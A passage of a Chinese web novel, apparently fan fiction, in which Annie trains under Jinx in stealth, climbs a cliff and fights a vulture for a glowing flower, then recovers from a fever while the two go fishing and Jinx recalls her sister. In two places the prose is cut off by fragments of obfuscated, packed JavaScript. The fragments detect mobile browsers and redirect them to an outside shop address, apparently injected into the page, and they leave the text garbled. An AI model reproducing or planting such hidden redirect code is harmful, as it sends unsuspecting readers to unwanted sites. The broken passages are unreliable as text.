痛,是那种绵长的疼痛,毒药混着麻药钻进了肌肤,外面快被巨大的山压得粉碎。呼吸渐渐加粗,呼出和吸入的时间越来越长,随着呼吸的一起一伏,骨头都慢慢在分散,又靠着短小的筋连接着…… 安妮心中突然涌起一股莫名的悲伤,这悲伤和脚底蔓延起来的绵软一样悄无声息地席卷眼眶,慢慢滋润着干涸的眼眸。 那是一种将死的悲伤。不是每一次被强大的力量瞬间摧毁,只是在消失的前一秒感知到无法逾越和反抗的悲痛,而是慢慢地、慢慢地,一点点入侵、吞噬、腐烂,最后消失。 她好像又有点理解当初在光明学院里挣扎的苦痛岁月了:那种刀悬在脖子上,而自己只能弯着腰,伸着头,静静等待被斩首的那一刻的感觉。总能在活着的时候安慰自己并试图反抗,直到真正死亡来临的前一刻也还在傻傻地坚信。 脑子好像也杂乱地疼起来,缠绕的思绪被强行捆绑在全身痉挛的肌肉上。 忽然,安妮耳边传来一个模糊又清晰的声音。 “你还在蹲着?” 她慢慢转动僵硬了的脖颈,视野里还没有出现金克丝的蓝色头发,她的声音就已经再次响起。 “真没想到,你蹲了足足两个小时……不累吗?” 两个小时?安妮惊讶了,但动作也仅限于瞪大眼睛。 “慢点动作,最好先别起来,抬起脚,转一转,手撑着地,把腿慢慢放直……” 金克丝一点点教导着,安妮按照金克丝的指示慢慢恢复行动,那种骤然放松后的酸软席卷了全身,但好在伸直腿的刺痛少了很多。 见安妮站了起来,已经可以自由活动全身,金克丝适时地停止了指导,看着安妮有些欲言又止。 “抱歉,我以为你在树上……” 会给我说时间…… 金克丝挑了挑眉,眼底闪过一丝诧异。 “晚饭后老地方见。” 安妮目送金克丝离开,矫健的身姿带起一阵风,感觉眼眶也被吹得慢慢干燥起来。 26. 26 安妮的晚饭解决得很快速,但到约定地点时还是看见了已经坐在树枝上的那个放荡不羁的人。 “你今天的表现真是让我刮目相看。” “啊?还,还好吧……” 安妮没想到刚来就收获了金克丝难得的称赞。 “不用那么谦虚。” 安妮随意地坐在树下,丝毫没感觉这种矮人一大截的位置有什么不妥。 头上是金克丝慵懒的声音。 “森林常识,力量速度,各种弹药……你好像都有了。” “只是有而已。” 就像今天的隐藏课程一样,不知道怎么使用还是白搭。她埋伏的敌人或者要躲避的敌人可不会等她恢复活动。 “精益求精确实没问题,不过你还有很多要学的,或许你可以先说说你想学什么。” “所有。反正迟早要会的。” “我记得之前有个人好像说过身法又不能对抗天道。” 安妮一听金克丝戏谑的声音就知道她在调侃自己,此时坐在树下倒显得十分镇定,“总会有用的,更何况,某人还说了不希望我半途而废呢。” “你倒是牙尖嘴利。” “毕竟所有的都要学。” 的确,毒舌一直是金克丝的专长,安妮自认这么久过去也只是了解了些皮毛而已,要论气死人不偿命那还得是金克丝。 “实践确实是身法学习里最重要的,但有关理论的事我给你说的好像不多。” 安妮感觉头上一阵风砸来,她伸手,接了本还算厚的书。 “自己看,你这么单纯,我教不了你。” 那本书的名字很简单:《计谋》 “这本书是一个系列里的,不过我就带了这本出来,有机会你可以去基兰那里看,剩下几本《兵法》、《阵法》、《心魔》对我没用,还有《炼药》、《炼器》那些估计对你也没用。——看完了记得还给我。” 安妮对这个基兰越发好奇了,他似乎特别全能,金克丝还这么宝贝他给的书。 “谢谢。” “举手之劳~” 金克丝拉长了腔调,似乎这真的是不值得一提的小事,然而安妮只是往里翻了翻,就惊觉这书的不简单。 “有的是时间慢慢看,现在还有别的事要说。” 别的事?安妮还以为金克丝要趁着夜色去路西瑞城搞点事呢。 “前几次去路西瑞城,玩了些新花样,问你几个问题。” 测试题?来考验她有没有犯罪天赋还是另有目的?安妮不知道,但她挺激动的,金克丝今天心情似乎很好。 “路西瑞城最繁华的城市,巡逻管理都已经算好的了,繁华的大街上还会有窥视阵法。我有基兰老头儿给的屏蔽眼,这些基础阵法都可以免疫,在这种情况下,你觉得我怎么进入那些贵族的家最好?” 安妮沉思了一会儿,以金克丝的性格应该不屑于藏在垃圾桶里,暗处的巷子很合适,但也不是四通八达。如果要有具体路线,或许可以通过货车等等运输…… 安妮把自己能想到的全部说了个遍,金克丝只是摇头。 下水道,商品楼,甚至电线杆都说了,都不对吗? “你想到的卡伊特都想到了,但她还想到了你没想到的。” “什么?” “易容,卧底,招募或者……被强抢。” 安妮忽然觉得脑子里那个黑漆漆的无人街道一下子崩塌了。 是了,谁规定金克丝非要晚上悄悄行动?遮盖掉惹眼的长发,她甚至可以光明正大地去贵族的府上应聘。 “唉,思维太死板可不是什么好事。”金克丝的叹息结束,倒是没有过多挖苦,“第二个问题,就刚刚你那个动作,我在四处找你,你要怎么悄悄活动,怎么逃跑?” 没想到这个自己无意间思考到的问题居然被金克丝提出了。 安妮略微思索了一下,因为有之前的经验在,回答得很快。 “可以在风吹过来的时候转一下两只脚的方向,摩擦声一般不会太大,而且和风吹树叶的响声差不多;然后在物品掉落或者大动静的瞬间换一下完全着地和垫着的脚;还有……视线不在自己的方向的时候,可以调整一下上半身的姿势……” “看来你还是知道很多的嘛,那你之前为什么不做?” “我……” 安妮被问住了,她也不知道为什么她没有偷偷做小动作。要说威严,金克丝绝对算不上,她甚至抱着爱学不学的态度,如果安妮因为自己没有好好学习导致招惹了什么或引起了意外,她一定会袖手旁观。 也许就是害怕?只是害怕的是偷懒之后的死亡,而不是偷懒被发现。 金克丝似乎只是随口问问,安妮没回答也没追究。 “你杀过人吗?” 安妮愣住了。 她懵懵懂懂地摇头。 “看得出来。” 看得出来你还问……安妮腹诽了一句,猜想金克丝问这个的目的。 “你有想杀的人吗?注意,是人。” 不是天道。 这恐怕才是金克丝真正想问的问题。安妮刚想说让金克丝失望了,脑海里却不自觉地浮现出一个苍老而伪善的面孔。 想杀…… 有过这个念头吗? 安妮自己都快不知道了。 金克丝见安妮欲言又止的模样,还以为她是不愿意说,刚想说“下一个”,却被安妮打住了。 “等等……我,有个问题……” 安妮的声音带着犹豫,金克丝在树上只看得清她的发旋。 “你说。” 安妮顿了顿,金克丝也不催促。等到她调整好情绪,终于问了一个太过明显的问题。 “如果一个人当你的老师,教会你很多东西,看起来很有责任心,也背负了很多,可最后你发现他只是为了你身上的一样东西而装模作样,连抢夺的理由都冠冕堂皇,你会恨……会想杀他吗?” 暴露得太过明显。 “真不知道原来你还有这么有趣的经历。” 安妮不知道是什么表情。 “杀。还有问题吗?” “如果一个人当你的老师只是为了利用你达成她破坏的目的,最后想要帮助你,却因为实力相当的死对头被迫放弃了你的生命,而让你给她那个死对头渴望得到的东西,你会杀她吗?” “不,我会欣赏他。——抱歉,我说的可不是我被骗的情况。如果是我被骗,当然还是杀。” 安妮抿了抿唇,眼里的情绪错综复杂。 她想问为什么,但金克丝很早以前就给她说过一句话:疯子做事不需要理由。 估计是问不出什么的。 “这么看来,我还是你遇到过的最正义的老师啊~” 金克丝的语气带着些许得意,“正义”这个词在她嘴里被着重处理。 是啊,真讽刺,那个受万人敬仰的校长被她看穿了邪恶,这个大犯罪家却是她遇到过的最正义的老师。 “没杀过人也没关系,总有一天会杀的。” 这句话真真有些邪恶了,但安妮必须承认,在这个混乱无序的世界,手染鲜血的人一定比那些没见过打打杀杀的人多,即使死亡的结果是离开得干干净净。 她终有一天也会如此吗…… “继续蹲着吧,我给你计时。” 安妮点头,这一次,她挑选了一个一人高的草丛,视线里还是没有金克丝的身影,但这一次她知道金克丝一直都在。 安妮每天保持着高强度的训练,除了常规的跑步、俯卧撑等等,就是每天必不可少的实战训练。自从那一次谈话之后,她们好像又恢复了之前互不打扰的状态。时间已经没有概念,安妮所能看见的天空上,太阳月亮交替得越来越快。 金克丝这次是在大白天回来的,按照这个时间估算,她应该没做什么犯罪的事,不然卡伊特不会轻易放她走。 果然,她只是去拿了点东西。 登山装备。 安妮看着攀岩用的绳子,登山需要的护臂,鞋子等等,心中有了个大致的猜测。 “听说无妄森林有个地区是断崖,断崖下面生长着一种莹蓝色的花,和满天星一样好看,晚上还会发光,你觉得把它作为我的新年礼物怎么样?” 安妮有些茫然,但很快反应过来,她已经看过无妄森林的落叶了。凯德阿姨说过,无妄森林的内部是不存在春夏秋冬的,她如今生活在无妄森林接近中心的位置,看不见积雪也很正常。 那么就真的是过去快一年了——春节自然也该到了。 只是安妮才不信金克丝会想要那种花。 “这些工具使用起来很简单,你自己慢慢琢磨吧。准备好了就按照地图走。” 金克丝扔了一本《登山手册》和一张牛皮地图,安妮接过,知道这是推脱不了了。 她有些激动,也有隐隐的期待。之前控制冰灵力爬山的时候,她就体会到了攀登的不易,何况这一次是亲自上阵……好在金克丝买了护绳,就算失误也不会丧命。 金克丝并没有详细描述那朵花的样子,安妮也只是记了个大概,总归是训练为主,安妮也知道金克丝并不在意最后的花到底什么样。 这一次,为了防止出现意外,安妮特意让提伯斯留在了断崖上。提伯斯平时总是沉睡着,只有偶尔吃饭或者她休息的时候会出来刷一刷存在感。安妮感知到提伯斯只是单纯的劳累,也就只能暂且放下担忧。 她特意系了两根绳子,绑在不同的地方,使劲扯了扯,确定万无一失后才试探着开始往下攀登。 初次冒险,安妮十分紧张。她的脚刚刚触碰到一处山崖的自然凹陷,脑子里就接收到了提伯斯的通知。 安妮会心一笑,攥着绳子的手用力了两分:金克丝来了。 知道断崖上有金克丝守着,安妮没有那么慌张了。她仔细回忆登山需要注意的事情,集中精力应付当前的局面。 她的任务是找花,白天金克丝描述的花也不知道会不会发光,她只能下去两步就四处张望一下。 安妮在心里丈量着数字,估摸着已经下去了一百米左右,便左右观察,尝试挪动。她很谨慎,毕竟就算有绳子保护,心里还是恐惧的。 安妮其实不太敢往下看,因为云雾缭绕的脚下什么也没有,一眼望去失重感让脑袋发晕,但她又必须朝下看,否则无法判断岩石的位置。 在踩上去之前,还要再三试探那个地方能不能承重。 细节,太多的细节。断崖上的风吹得安妮大脑越发清醒,清醒得有些胀痛。汗贴在额头上,沿着脸颊在下巴汇聚,滴落的一瞬间,有一种自己也在跟着掉落的错觉。 安妮紧贴着石壁,能听见心脏撞击胸腔的声音。 她调整呼吸,憋着气趴在石壁上,贴紧了身体,然后尽量远地伸出右脚。脸偏过去,眼睛几乎要挤出眼角,只为了看一看右脚能触碰到的区域有没有安全的地点。 好在这处断崖凹陷的地方不少,她成功转移了过去。 安妮继续重复着,高高低低,深一脚浅一脚地往右挪。 不知道金克丝在上面等得无不无聊,她应该是在树枝上晃荡着脚的吧…… 安妮的想法刚冒出来,她立刻被吓出一身冷汗。 不能分心!分心是大忌! 一路攀登到这里,她的确一步没错,但要知道,错一步的代价她也承受不起! 登山的时候一定不要提醒自己腰上有防护绳……登山的时候一定不要提醒自己腰上有防护绳…… 安妮在心里一遍遍默念,感觉脑子里乱七八糟的想法都去了一大半,终于继续伸出了脚。 断崖上的风很大,吹得衣服黏在了身上,伸出脚的动作都感觉被衣服干扰了。安妮尽力忽视身上的不适,累了就短暂地休息。 感觉到饥饿快使身体乏力,安妮才慢慢开始往上爬。 一直到拉着绳子跨上断崖,安妮才长舒了一口气,趴在地上休息。 面前的凉鞋逐渐接近,安妮坐起身,金克丝抱着手站在面前。 “还有三天就是正元节了,你可要快点哦~” 正元节,即一年真正的开始,是春节最热闹的日子。 安妮点头。 全身放松的感觉真好。 这一次只是短暂地尝试,她会在之后几天尽快完成任务的。 这是一个太阳下山很快的冬天。 安妮看着逐渐染上血红的云层,叹了口气。 她正准备往回攀登,视线里,什么亮晶晶的东西突然刺了一下眼睛。那是一种很柔和的光,但在晚霞中又是那么得明显。 莹蓝色,像满天星…… 安妮眯眼,仔细确认了一下。她拽着绳子,将身体往后仰了仰,视线能到达的最远端里,一朵蓝色的小花是那么明显。 她的心跳加快了。 回去,还是继续?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119494|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太阳已经沉下去,夕阳最后的炽热把安妮灼烧得双颊通红。她急促地呼吸着,有些后悔自己计数的方式并不系统——她担心上去之后就找不到这朵花了。 安妮抿了抿唇,又一滴汗水汇聚在下巴。她终于动了,打开了腰间的照明灯。 这灯的能源石还没使用过,坚持一个小时绝对没问题。晚霞的光芒在消退,照明灯的纯白和太阳的昏黄交织在一起。 安妮搓了几下手,手套里一片黏腻。 希望金克丝还没走。 她将脚试探着往下伸,动作已经熟练了很多。只是长时间攀岩的疲惫太折磨人,高度紧张的精神不敢松懈,又随时可能松懈。 那朵花在右下角,隐藏在岩壁后面,安妮需要往后倒一倒才看得见全貌。不过静止着确定了花的位置,就知道该怎么做了。 她一步一步往目的地挪,右下角的花逐渐靠近,往上、往左……已经快够到了! 安妮有些激动,正准备一鼓作气爬过去,视野里突然多了点不同寻常的东西。 苍鹫的巢。 悬崖上很少出现一堆一堆扭在一起的枯草,除非那是鸟类筑巢用的。安妮在几次攀岩中都没遇到过任何鸟类的巢,此刻有些惊慌。 “咕咕……咕咕……啾——” 不好,是苍鹫的叫声! 安妮动作快于思维地蹬开,离那朵花远了不少。她抬头,昏暗的空中苍鹫扑棱着翅膀,那双冰冷的圆眼一眨不眨地盯着她。 安妮仔细回忆,苍鹫食腐、独立,但是攻击性极强,会主动驱赶闯入领地的生物。莹蓝色的花不是它的食物,却可能是它回家的指引。 难道只能趁着它出去的时候偷偷拿走了吗? 苍鹫仍然虎视眈眈地看着安妮,不攻击,也不靠近。 安妮被这样冷静的目光注视着,飞速揣测这只苍鹫的想法。她恍惚间觉得苍鹫的神态有点像之前试图杀死她的浣熊,同样按兵不动,却只是为了寻找机会给她致命一击。 看来一场恶战是无法避免了……安妮一手抓着绳子,一手偷偷从背后拿出准备好的长刀。苍鹫的眼睛被锋利的冷光划过,立刻尖啸一声扑来! 果然,它刚刚在骗我! 安妮心中一阵后怕,但动作快于思考,她立刻挥舞长刀,同时蹬腿、转身,迅速揪下那朵蓝色的花。 苍鹫一下子扑了个空,还差点被乱砍的长刀伤到,立刻暴怒。察觉到自己的东西被拿走,它更加气愤,俯冲下去,直取安妮头上的绳子。 安妮立刻寻找岩壁突出的地方,用手和脚紧紧攀附住。她感觉身上缠绕的绳子晃动了几下,却没有掉下来的迹象。 苍鹫的喙砸在石头上,砂石尘土源源不断地滚下来,两根绳子却一根都没断。 看来之前有不少登山者已经因为这死于非命…… 安妮心中大定,不再惧怕掉下去。但这样下去也不是办法,她取出腰间的飞刀瞄准了苍鹫的翅膀。 “咻咻……” “哇哇——哇——” 愤怒的苍鹫没来得及躲闪,偏过身子,硬生生接了两刀。它的肚子处,鲜血混着羽毛掉落。 知道绳子啄不断,它立刻在空中一个回旋,冲向安妮。这次,它试图用爪子划烂安妮的脸。安妮没躲闪,紧盯灰黑色毛发里的大片鲜红,倒计时。 三…… 二…… 一…… “噗——” 是尖刀没入皮肉的声音。 借着挥舞长刀的惯性,安妮对原本已经被偷袭的地方施展出奋力一击。 突然,手背一痛! “啊!” 皮肉被划开,剧烈的疼痛让她本能地放开了手。身体旋转撞击着岩壁,沙土弥漫,挤压的疼痛感遍布全身。失重的恐慌让安妮一瞬间卸下了所有防备。 在苍鹫痛苦的嚎叫声中,安妮卡住了一块稳定的凹陷,接着双手使劲抓着凸起的石头,终于睁开了双眼。 “呼……呼……” 这场战斗很快速,但安妮就好像经历了一场鏖战。坠落的感觉太过可怕,她直到现在还四肢发软。 幸好苍鹫没办法啄断绳子,幸好她掉下去前苍鹫已经跌下悬崖,幸好…… 手背上又麻又痛的感觉一直窜到头皮,血液里混合着黄色的砂石和灰黑的尘土。安妮脑子里还是一片嘈杂,在晚风中冷得头痛。 对了……花…… 打架的时候她把花揣兜里了…… 安妮低头摸索,看见了那朵莹蓝色花的枝干。她正要松口气,突然想起来……她好像把根拔断了…… 但愿金克丝不会嫌弃…… 安妮有些心虚,但当务之急还是上去。 上悬崖的过程轻松很多,尽管手背上皮开肉绽,但恐惧的感觉在慢慢消退,只有一身冷汗让衣服黏在身上,很不舒服。 “拿到了?” “嗯!只是……”安妮用金克丝递过来的帕子擦了擦手,小心翼翼地从兜里拈出那朵皱巴巴的花,“根……” “啧,真丑……” 金克丝一把夺过花,安妮已经没力气抬头看她嫌弃的神情了。 “擦药去吧,这几天过年,你可以休息会儿。——对了,要注意全身上下好好检查,别漏了伤口。” 安妮点点头,才注意到膝盖和手肘也火辣辣地疼,大概是之前掉落的时候擦到的。 金克丝在夜色中离开。 大冬天的,就算没有雪,断崖上也有些冷,那些溪流的水在夜晚也凉得刺骨。安妮处理好伤口,只能忍着一身汗在树上将就一夜。 有时候真羡慕金克丝,随时随地都保持着干净整洁——不过这样的形象也是需要与之匹配的实力的吧。 什么时候,她才不会被一件件琐事搞得如此狼狈。 安妮轻叹口气,坐在树干上休息。恍惚间,她想起自己在那个偏僻的小山村度过的两个夜晚。也是这么寒冷,这么孤独。 那个村子叫什么名字?忘记了。她只记得那里有个慈祥和蔼的老太太,叫巫阿婆。还有阿狸姐姐,她明明差一点就可以见到她了…… 还是好迷茫啊,但是每天都是如此的充实。 曾经也是这样的吗? 安妮的记忆飞得更远,去到了那个光明冰冷的殿堂。两个高高在上的神在对峙,她如蝼蚁般被夹在中间,陷入重重圈套…… 好困…… 困…… …… 27. 27 “你发烧了。” 安妮迷迷瞪瞪睁开眼,金克丝放大的脸上是很复杂的神情。 “我从来没应对过发烧……或许你应该吃点药?” “是吗?我……” 头确实有点晕。后背一片火热,就像昨天在悬崖上冒着冷汗吹着风一样。明明感觉很热,头发却湿漉漉的,伸手一摸……冰凉又潮湿。 “大过年的感冒,真不愧是我教的。” 金克丝扔下这么一句莫名其妙的话,连带一个小包裹。 “吃完老地方见。” 安妮打开,糕点的香气混杂着药香味扑面而来。 她不太饿,但是知道补充能量的必要性。只是金克丝居然没准备肉制品……安妮有些奇怪。 她慢条斯理地吃着东西,蜷缩在树枝上的手脚舒展开,一种无力感蔓延开,然后又消散。这是比感冒还神奇的体验,和泡在温泉里睡着的感觉一模一样。 但是安妮没兴趣体验。金克丝说过,人最忌讳突如其来的脆弱,因为那往往是任何东西都能迅速侵入的时候。 凯德阿姨也说过,千万不要把脆弱的一面展示给任何不值得信任的人。 但是金克丝值得信任…… 那我还想什么凯德阿姨…… 安妮心虚地撇撇嘴,舌尖上的甜味还没有散去。 提伯斯这几天监督着绳子,虽然有金克丝在也不曾懈怠,但是还没醒。安妮也不打算等着提伯斯苏醒,收拾好给他留的糕点,抱着他往约定的地方赶去。 这次的速度不尽人意,但是安妮也没有强求。走到目的地,她还是出了一身汗。 金克丝这次没有坐在树枝上,而是靠在树干边。冬天的阳光能透过树叶的缝隙就很不容易了,自然没有乘凉这一说。 “地上冷。” 金克丝一条腿竖着,另一条腿完全弯曲放在地面,一双手很随意地搭着膝盖——是很放松的姿势,但是安妮看见她身边草叶上凝结的露珠打了个寒战。 “忘了你是个病号了,坐。” 金克丝挪了挪位置,从包里拿出一根帕子摊在地上。 “谢谢。” 安妮局促地坐下。 这是第一次,她和金克丝以这样悠闲的动作并排坐在一起。 安妮有些紧张,后背崩得笔直,瞥见她涨红的脸,金克丝“扑哧”一声笑了出来。 “你可别告诉我你这脸是发烧烧红的。” “没,没有……不是,不对,就是!就是……” 安妮也不知道该不该承认了,不过想来金克丝是看穿了的。 “别紧张,你这样子和当初我犯错了的时候一模一样。” “啊?” 金克丝会犯错?不对……金克丝犯错后会脸红? “你今年几岁?” “二十二。” “还是个小屁孩啊。” 虽然距离近了,但是戏谑的语气一点没变。安妮一直觉得金克丝也是一个暴走的小萝莉,但很显然是她误会了。 “我今年已经二百二十五岁了。” “两百多岁?!” 那已经接近中年了! 安妮瞪大了眼睛,看不出金克丝身上的一点岁月的气息。白皙的肌肤,鲜红的嘴唇,纤细的身材,还有一头反光的蓝发…… “别那么惊讶,”金克丝把手枕在脑后,倒上树干,“一个小孩子是不可能在这个残酷的世界里独自生存的。” 安妮想说自己就是,但好像也不准确。 她没有无家可归的时候。 说不幸,她被欺骗、被抛弃、被伤害,但说幸运,她遇到了巫阿婆,遇到了金克丝,遇到了提伯斯,还遇到了……木木。她从不形单影只。 “我像你这么大的时候,比你调皮捣蛋多了。”金克丝顿了顿,“能想起来的不多,但是都挺好玩:比如把炮仗埋进马粪里,把别人喝的茶换成泥水,把各式各样的臭虫塞进小孩子的布偶……” “扑哧……” 安妮想到马粪飞溅的场景,禁不住笑起来。 “我的烂摊子可比你给光明学院交的金币还多。但是姐姐从来不会因此打骂我。” 姐姐?金克丝有个姐姐? 安妮疑惑地看向身侧,才发现自己只到金克丝的下巴。 “别那么惊讶,哪个幸福美满的童年里没有几个关心呵护自己的人——我一个足矣。” “你的姐姐一定是一个很温柔的人吧。” 就像凯德阿姨,像阿狸姐姐。 “是,她是世界上最温柔的人。如果有一天,她突然发了疯一样地拍打着你,让你滚蛋,那一定是她迫不得已。” 安妮隐约觉得这句话好像应该去掉“如果”。 “好了,不说她了,说了你也不知道,那是我的姐姐。” 金克丝的语气有些异样,但是很快恢复过来。安妮眨了眨眼睛,不敢看身边近在咫尺的人。 “你难道不想反驳我吗?” “反驳?” “难道,你的心中没有最温柔的人?” 最温柔的人?好像有很多。 凯德阿姨,阿狸姐姐,巫阿婆,甚至是曾经的菲缇……安妮望着前方,迷茫地眨了眨眼。 “你好像比我幸运。” “是啊……好像……”安妮自嘲地笑了笑,“如果已经莫名其妙地死了两回也算的话。” “死了两回?还能坐在这里?” 安妮后知后觉地发现自己说了什么,但她只是顿了顿,心中有什么紧张却兴奋的情绪一闪而过。 “是,死了两回。一次是被天道杀死,一次是被加丁杀死。” “我还以为你会就此打住。” “有什么好隐瞒的?”安妮紧握着的双手慢慢松开,“这个世界上,真正完全在意你的经历的,只有你自己罢了。” 安妮的记忆回到了那个炎热的夏天。 带着毁灭的酸雨,一滴一滴,腐蚀着大地。刺目的闪电在人群里穿梭,惊雷炸响,死神在狂欢。 明明以为一切都会在无尽的杀戮后结束,却看见了那渺小的、脆弱到极点的希望。 拜师,苦练,直至黑化,疯狂……可是最后才发现一切努力都是徒劳,命运早已布下一个又一个圈套。 幼稚地在黑暗中迷茫,还没看明白内心,就又一次被欺骗伤害得体无完肤…… 结束了吗?连自己都不知道是不是在期待结束了。可是又是希望……又是虚无缥缈的希望。 即使灵力全无,即使提伯斯陷入困境,即使连逃离那个一隅之地都无比困难,还是妄想着反抗,胆战心惊地守护着那细碎的、虚幻的念想。 直到再一次面临死亡。 呵,这野蛮残暴的死亡。 世界上没有谁会注意到蝼蚁的消失,可是她也想,也幻想会有那么一天……和天道成为对手,让世人为她的一举一动惊惶。 会有吗? “会有的。” 安妮苦笑一声,才发现自己把心中的疑问说了出来。 即使是那么细微的声音。 可是金克丝的回答是那么铿锵有力,让她都不自觉地产生了幻想。 “会有那么一天的。” 安妮没有说话,耳畔的声音让她热泪盈眶。 “在很多很多年前,也没有人相信,金克丝会扛着一架大炮,轰开贵族的大门,将一切变为废墟。” 是啊,只有她们自己相信。 但只要她们自己相信…… “这几天春节,好好放松,玩得开心。” 金克丝的思维总是很跳跃,但安妮也不想继续这个沉重的话题。她点点头,原本以为金克丝会离开,没想到她只是站起来拍拍灰,整理了一下衣服。 “走吧。” “去哪儿?” “当然是玩了,不然呢?”金克丝挑眉,仍旧是放荡不羁的模样,“说了什么都要学的,那么多好玩的东西,你不连带着一起?” “要!” 学常识,学暗器,学打架……她还从没学过玩游戏! “看谁先赶到湖边,我让你三分钟。” “好嘞!”安妮咧嘴,立刻感觉浑身都是力气。她拽着提伯斯飞奔,是凌乱的脚步。 金克丝抱手站在原地,目送安妮跑远。不知过了多久,她随意地抬了抬右手,手表的玻璃上,映出一双湿润的眼。 安妮刚到湖边,就看到了金克丝匆匆赶来的身影。她知道金克丝放了水,笑得更灿烂了。 “叉鱼会不会?” “会!” “那钓鱼会不会?” “额……不会。” “那我们就钓鱼。” 金克丝大手一挥,空间戒里飞出来两根鱼竿和两个铁桶。 安妮没问能叉鱼为什么要钓鱼。 “看好了,钓鱼的姿势。” 金克丝掂了掂鱼竿的重量,随手一抛,鱼钩远远地没入水中,激起一片涟漪。 一气呵成。 “我们不需要鱼饵吗?” “鱼饵?你有没有听说过一个词语,叫愿者上钩?” 安妮听说过,但她不懂。 这样能钓到鱼? 安妮模仿金克丝的动作,把鱼钩扔进水里,接着坐在岸上,抱着鱼竿发呆。她时不时侧头看一看金克丝,金克丝气定神闲,呼吸都慢了不少。 见金克丝一眨不眨地盯着湖面,她也往湖面看,可是湖面明明什么也没有…… 安妮坐了一会儿,转头,金克丝还是盯着湖面,百无聊赖的神情。安妮心中,有什么情绪在滋生。 她好像看见了光明学院里的那个湖。 没有多少鱼,岸边全是花草树木,还有两条仅能容纳两人的石凳。冬暖夏凉,蚊虫也不多,在月光下,清水还能闪光…… 还有那个人遗世独立的身影,自己压抑在深夜里的呜咽,菲缇带着凉意又充满温暖的怀抱…… “扑通!” 爸爸跳了进去…… 不对! 安妮使劲眨眨眼,感觉怀里的鱼竿在震动。她有些激动,立刻拉住鱼竿往后拽。 “慢一点,张弛有度,不然鱼线会断。” 安妮立刻明白过来,松开一点,谁知那水下的鱼得寸进尺,拼了命往外游。 “它拽你就松,它累了你就拉。” 那现在要松……安妮往前走了几步,鱼线咕噜噜往外转,就要到尽头。好在那鱼以为自己安全了,力气小了不少。安妮立刻开始转轴收线。 那鱼察觉到安妮的意图,立刻又往反方向跑,安妮赶紧又放开。 来来回回几次,安妮已经看见了鱼背上的鱼鳍。她只是喘着气,那鱼很明显快不行了,靠近岸边都没有立刻游走。 见鱼线没有再快速往外转的趋势,金克丝立刻喊:“拉!” 安妮本能地快速往后倒,把鱼竿连带着向后拽。然而她还没后退几步,就见一双骨节分明的大手握住鱼竿,往后使劲一拉——水下的鱼直接被甩上了岸! “还让它在水里,鱼线松了钩子也会松的,直接拉上来就行了。” “哦哦,好的……” 安妮连忙点头,两眼放光地往鱼落地的地方跑。这是一只胖胖的灰色鱼,安妮从来没见过。 “眼瞎鱼,特点是对光特别敏感,直接甩鱼钩最好钓,冬天它们都能自己来咬钩。” “天呐,你怎么知道!” 眼瞎鱼很明显不是这鱼的真名,那么金克丝就是自己发现并且给这个鱼命名的。 安妮崇拜地看着金克丝:毕竟谁钓鱼不会用鱼饵,有些自认为专业的人还特地区分了钓不同的鱼需要什么饵料,要是知道不用鱼饵也能钓到鱼,他们肯定气死! “小时候无意间发现的,好在这个秘密守住了,没多少人知道。”金克丝把鱼放在手上掂了掂,“分量不够,你继续。” “好!” 安妮也不知道自己之前发呆了多久,只是回去坐着后认真了许多。见金克丝把鱼扔进桶后就往森林里走,她干脆把金克丝的鱼竿也拿了过来,两个鱼竿一起钓。 鱼竿挪了位置,鱼钩也开始乱飘,安妮担心鱼线缠在一起,就把金克丝的鱼竿拿起来。她正要重新甩出去,突然意识到什么。 安妮把鱼线一圈一圈往回收,钩子离得越来越近。一直到收好了鱼线,安妮终于看到了金克丝的鱼钩。 是漆黑的。 安妮眨了眨眼,又把鱼钩甩了出去,是之前的位置。 她没有再发呆了,回忆中断在梦境里,视线凝结在浮标上。 再次钓到眼瞎鱼,阳光已经变成金黄色了。安妮估摸着快到中午了,刚站起来做伸展运动,金克丝就带着一大包东西走了过来。 “这是香料?” 安妮认识一些。 “有的是,总之你看着吧。” 金克丝把口袋里的东西一件一件往外拿,安妮才发现她居然打了一只野鸡。 中午有口福了……安妮戳了戳怀里的提伯斯。 算了,做好了估计他就醒了。 野炊的气氛很火热,即使只有两个人,安妮还是觉得温馨又热闹。提伯斯在烤鱼好了的时候耸了耸鼻尖,抱着他的安妮悄悄笑了。 像极了当初那只大笨熊被她诱惑的样子。 “冬天的地不好破开,蚯蚓甲虫都回了窝,要钓鱼就只有去集市买饵料。”金克丝一边研磨着调料,一边轻声诉说,“大年初一,我好不容易攒了一些钱,想在冬天钓些正在洄游或者长了卵的胖鱼给姐姐,谁知道那些饵料被一群熊孩子抢走了。” “我又气又急,却没有办法,最后破罐子破摔,直接把鱼竿扔了出去,谁知道真的钓到了鱼。我很激动,又尝试着甩钩,一次、两次……天慢慢黑了,姐姐焦急地喊我,我才发现我在凿开冰的湖边坐了一下午,太阳已经快落山了。” “所以,你回去之后发烧了?” “是啊,他们都说我大过年的发烧,是不详的人,只有姐姐哭着把我钓的鱼卖掉,拿着钱给我治病。那些药比我钓的鱼贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119495|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了。” 金克丝的声音很轻,很温柔,带着嘲讽,却没有刺。安妮默默听着,想象这个雷厉风行的女孩曾经惆怅悲伤的一面。 “其实,挺好的。” 金克丝疑惑地侧目。 “只有在很晚很晚的时候,凯德阿姨才会在森林外围喊我,叫我回去吃饭。那个时候天都黑了,影子融进地里。” “为什么?” “我不知道……”安妮耸耸肩膀,“或许是因为我的冰灵力很出色吧。” 